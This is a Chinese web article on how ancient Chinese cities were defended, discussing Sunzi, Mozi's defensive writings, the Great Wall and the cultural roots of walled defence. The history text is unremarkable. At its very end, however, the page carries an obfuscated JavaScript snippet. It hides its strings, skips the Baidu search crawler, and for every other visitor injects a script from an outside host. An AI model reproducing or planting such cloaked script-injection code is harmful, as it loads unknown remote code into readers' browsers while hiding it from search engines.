當前位置:首頁 > 歷史 > 戰(zhàn)史風云 > 正文

古人都是怎樣守城的?守城戰(zhàn)術和器具有哪些

2017-04-29 11:43:39  來源:360常識網   熱度:
導語:幾千年來,“攻城拔寨”是歷來戰(zhàn)爭的直接目標和關鍵動機。隨著戰(zhàn)事迭起,攻防相生,城池也因此成為最大最重要的戰(zhàn)爭舞臺。特別是在春秋戰(zhàn)國

幾千年來,“攻城拔寨”是歷來戰(zhàn)爭的直接目標和關鍵動機。隨著戰(zhàn)事迭起,攻防相生,城池也因此成為最大最重要的戰(zhàn)爭舞臺。特別是在春秋戰(zhàn)國時代,諸侯紛爭,群雄并起,戰(zhàn)爭極其頻繁,也因此形成了各諸侯國割據自立的多中心城池筑城體系,僅《春秋》、《左傳》、《國語》提及的城邑地名就達千余座。

據不完全統(tǒng)計,僅戰(zhàn)國時期較大規(guī)模作戰(zhàn)行動就有230多次,其中2/3以上和攻城有關。根據《孫子·謀攻》中“殺士三分之一而城不拔者,此攻之災也”的說法推斷,在那個冷兵器的時代,攻城往往會伴隨著極高、極可怕的傷亡率。但這也同時說明當時的守城戰(zhàn)術和器具,必然非常完備和發(fā)達。因此,有兵圣之稱的孫子,也認為攻城是萬不得已的“下下策”,并告誡道:“故上兵伐謀,其次伐交,其次伐兵,其下攻城?!?/p>

對此,同時代的墨子也持相同觀點,并利用自己掌握的“完美守城攻略”,四處推行自己的“非攻”理念。在他的著作《墨子》中第十四、十五卷就專門介紹了守城的裝備、戰(zhàn)術、要點,共二十篇。雖然目前僅存十一篇,可已經幾乎涵蓋了所有的冷兵器時代的城池防守之術。

從軍事博弈的發(fā)展脈絡看,歷代中原統(tǒng)治者,之所以都特別偏愛建立在城池防守基礎上的“非攻”軍事防御手段,也許正是得益于筑城技術的高度發(fā)達和城防之術的極高效率。于是,專守待敵、后發(fā)制人的“筑城防御”軍事思想大行其道,并極大地影響了中國歷史文明的走向。從秦始皇修筑萬里長城開始至今,無論是歷代對于長城防線的高度重視,還是今天我們依然用“鋼鐵長城”來形容我們的國防理念,都足以說明這種以城墻為基礎的戰(zhàn)略防御思想,對我們的影響是多么重要、多么深遠。

當然,這種“被動防御”的軍事思想形成,除卻“人不犯我,我不犯人”的平和民族性格因素外,還與中原民族的生存環(huán)境和經濟特征是分不開的。中原民族的農耕經濟,自然離不開長江、黃河廣大流域的沃土滋養(yǎng),中原民族已經習慣了定居的安樂和富足,自然不會,也不愿像游牧民族那樣游擊爭斗。而平原之上,無險可守,要守衛(wèi)自己的領土,保護自己的家園,特別是針對游牧騎兵部隊騷擾的最好辦法,自然是建造堅固的城墻堡壘。

同時,高大的城墻還能提供防洪水、防強盜、防猛獸等多重安全功能。“四塞以為固”的中國,也因此能夠在四四方方的城墻庇護下,碼著四四方方的文字,邁著四四方方的腳步,從容又體面地延續(xù)著一種輝煌而偉大的黃色文明。

中國人對于城池的偏愛,除卻以上諸多因素外,還有一個不能不提的心理原因,那就是自信。這種自信,是建立在人口盛昌、經濟繁榮和文明發(fā)達的多重基礎上。換句話說,筑城的底氣在于“建”得起、“防”得好、“守”得住。正如我們喜歡用“固若金湯”來形容防守,或者愛唱“萬里長城永不倒”一樣,這些都是這種民族集體自豪心理的微妙寫照。

因為在當時的歷史條件下,無論是城池的建筑還是防護,都是高技術、高投入的產物,不是誰都能修得起,更談不上修得足夠好。而要消解來勢洶洶的侵犯之敵,除卻厚厚的城墻外,有著高度文明和發(fā)達經濟的守城一方,自然擁有更多“后發(fā)制人”的技術法寶。

今天,當我們從“術”的角度,細細梳理幾千年來中國歷史上的“守城”技術、理念和經驗等古代軍事文化遺產,在重新認知這些繁雜的機關、精妙的設計、豐富的戰(zhàn)術時,除卻折服古人的無窮智慧外,在那遙遠時空里,也許還會隱隱約約聽到祖先的一聲幽嘆。

戰(zhàn)爭是殘酷的,所以墨子主張兼愛、非攻。老吾老以及人之老,這或許就是古人淳樸意識的反映吧。

轉載申明:360常識網,歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}